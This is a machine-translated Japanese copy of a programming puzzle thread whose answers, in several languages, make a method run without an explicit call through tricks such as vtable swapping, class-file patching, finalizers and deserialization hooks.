Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

これは、クラスのvtable内の2つのSubの関数vptrを交換することで機能します。


おい、あなたは危険だ!良いですね!
マチューギンドン14年

私はそれが言うと思います VB6 / VBAでいるので、予選方法は、クラスのメンバーである-それ以外の場合です手順 ;)
マチューGuindon

5

ハスケル

あなたがする場合haskellで:

main=putStrLn "This is the main action."

実行時に名前を呼び出さずにすぐに実行されます。魔法!


1
Haskellはカウントしません。IOアクションを呼び出すことはできません。さらに多くのIOアクションをチェーンするか、どこかに割り当てるだけです。
ジョンドヴォルザーク

IOアクションの同等の概念です。
PyRulez

5

Javascript

簡単で、on___JSでイベントを使用するだけです。例えば:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

Java

私からの他のJavaの答え。コードでわかるように、直接呼び出しますtheCalledMethodが、notCalledMethod代わりにメソッドが実行されます。

だから、最終的に私は2つのことをしています:

  • メソッドを呼び出さずに呼び出す。
  • メソッドを呼び出すことで呼び出しません。
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

実行する:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

これはプラットフォームに依存します。特に、プラットフォームのデフォルトの文字エンコーディングがUTF-8であるOS Xでは失敗する可能性があります。
NTOSKRNL

@ntoskrnlこれは、getBytes()メソッドにエンコード名をパラメーターとして渡し、有効にする場合は簡単に修正できるはずですgetBytes("UTF-8")。私はOS Xを持っていないので、これが機能するかどうかをテストしてもらえますか?
ビクターStafusa 14

UTF-8はバイナリデータでは機能しません。ISO-8859-1のようなシングルバイトエンコーディングは機能するはずですが、バイナリデータを文字列として扱うことは依然として間違っています。
NTOSKRNL

3
@ntoskrnl実際、ここでやっていることを行うためにクラスファイルをレイプするのは間違っています。エンコーディングは問題の最小です。:)
ビクタースタフサ14

4

Python

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

Java

イェーイ、ガベージコレクション!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

必然的にそれSystem.gc()は信頼できないと言う人のためのバージョン:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

Objective-C

(おそらく、Mac OS Xでclangでコンパイルされた場合のみ)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

このコードは、いくつかのトリックを使用して未使用の関数を取得します。最初は値0x2A27です。これは整数42のタグ付きポインターで、ポインターの値をエンコードしてオブジェクトの割り当てを回避します。

次ですMyClass。使用されることはありませんが、ランタイムは、+loadメソッドがロードされる前にメソッドを呼び出しますmain。これによりNSValue、スーパークラスとして使用して、新しいクラスが動的に作成および登録されます。また、追加+load使用して、そのクラスのメソッドをMyClass年代を-unusedMethod実装として。登録後、新しいクラスでloadメソッドを呼び出します(何らかの理由で自動的に呼び出されません)。

新しいクラスのloadメソッドは、と同じ実装を使用するためunusedMethod、効果的に呼び出されます。それ自体のスーパークラスを取得し、unusedFunctionそのクラスのdoesNotRecognizeSelector:メソッドの実装として追加します。このメソッドは元々のインスタンスメソッドでしたがMyClass、新しいクラスのクラスメソッドとして呼び出されているためself、新しいクラスオブジェクトも呼び出されています。したがって、スーパークラスはNSValueであり、これはのスーパークラスでもありますNSNumber

最後に、main実行します。ポインター値を取得し、NSString *変数に固定します(ARCの有無にかかわらず使用できるようにする__bridge最初のキャストvoid *)。次に、stringByAppendingString:その変数を呼び出します。実際にはそのメソッドを実装しない数値であるため、doesNotRecognizeSelector:代わりにメソッドが呼び出され、クラス階層を介してNSValueを使用して実装される場所に移動しunusedFunctionます。


注:他のシステムとの非互換性は、タグ付きポインターの使用によるもので、他の実装では実装されていないと思います。これが通常作成された番号に置き換えられた場合、残りのコードは正常に機能するはずです。


ええとciruZのObjFWを試してみてください。かなりまともなObjective-Cランタイムとフレームワークです。多分、これかそれに近いものでも動作します;-)
mirabilos 14

@mirabilos唯一の非互換性は0x2A27値であるため、それが他の場所で実装されているかどうかはわかりません。しかし、ObjFWは間違いなく興味深いものです。
ughoavgfhw 14


@Bryanありがとう!私はその正確な記事を探していましたが、適切な名前を思い出すことができませんでした。
ughoavgfhw 14年

@BryanChenああ大丈夫。ughoavgfhw:もちろん、別のランタイムを試してみたい場合に備えて、代替ランタイムを指摘したかっただけです。
ミラビロス14年

3

Javascript

これは明示的に関数を呼び出しているようには見えないようです

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
あなたが私に尋ねるとかなり境界線。
コールジョンソン14年

私は、彼はすでにそれを越え考える@ColeJohnson ...
トマス

3

C#(経由using

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

Java

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

Javaシリアル化の特別な機能を利用しています。このreadObjectメソッドは、オブジェクトが逆シリアル化されたときに呼び出されますが、直接呼び出されることはありません-私のコードや逆シリアル化ライブラリによってではありません。ソースを深く掘り下げると、低レベルでメソッドがリフレクションを介して内部的に呼び出されることがわかります。


ええ; シリアライゼーションはかなり面白いジョークを許可します:); ところでjavaに関する他の直列化のLOBで同じような方法をtheresある
masterX244

3

Perl

これはとても簡単です。以下のコードは、明示的な呼び出しがなくても、サブルーチン内のコードを自動的に実行します。

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

呼び出しのコメントを外しても、一度だけ呼び出されます。


どうやって?マジック+の後ろに取得することはできません
masterX244
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.